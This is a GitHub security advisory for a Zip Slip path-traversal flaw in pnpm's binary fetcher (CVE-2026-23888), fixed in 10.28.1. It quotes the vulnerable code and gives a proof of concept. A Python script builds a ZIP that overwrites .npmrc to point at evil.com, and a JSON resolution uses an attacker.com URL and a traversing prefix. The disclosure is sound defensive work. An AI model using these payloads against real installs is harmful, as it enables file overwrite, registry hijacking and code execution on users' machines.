GitHub Advisoryadvisory · npm

GHSA-6pfh-p556-v868 pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

MEDIUM Published 2026-01-26 Modified 2026-01-28 Official page ↗
Aliases
CVE-2026-23888
Ecosystem
npm
Packages
pnpm
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Weaknesses
CWE-22, CWE-23, CWE-426
Reviewed
2026-01-26

Affected packages

• npm pnpm: < 10.28.1 → fixed in 10.28.1

Description

Summary A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. Details The vulnerability exists in the binary fetching and extraction logic: 1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`) AdmZip's `extractAllTo` does not validate entry paths for path traversal: ```typescript const zip = new AdmZip(buffer) const nodeDir = basename === '' ? targetDir : path.dirname(targetDir) const extractedDir = path.join(nodeDir, basename) zip.extractAllTo(nodeDir, true) // Entry paths not validated! await renameOverwrite(extractedDir, targetDir) ``` A ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`. 2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`) The `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction: ```typescript const extractedDir = path.join(nodeDir, basename) // If basename is '../../evil', this points outside nodeDir ``` PoC Attack Vector 1: ZIP Entry Path Traversal ```python import zipfile import io zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as zf: # Normal file zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"') # Malicious path traversal entry zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n') with open('malicious-node.zip', 'wb') as f: f.write(zip_buffer.getvalue()) ``` Attack Vector 2: Prefix Traversal via malicious resolution: ```json { "resolution": { "type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED" } } ``` Impact • All pnpm users who install packages with binary assets • Users who configure custom Node.js binary locations • CI/CD pipelines that auto-install binary dependencies • Can overwrite config files, scripts, or other sensitive files leading to RCE Verified on pnpm main @ commit `5a0ed1d45`.

Related

Alias · CVE (1)

Weakness · CWE (3)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-23 Relative Path Traversal weakness
  • CWE-426 Untrusted Search Path weakness

References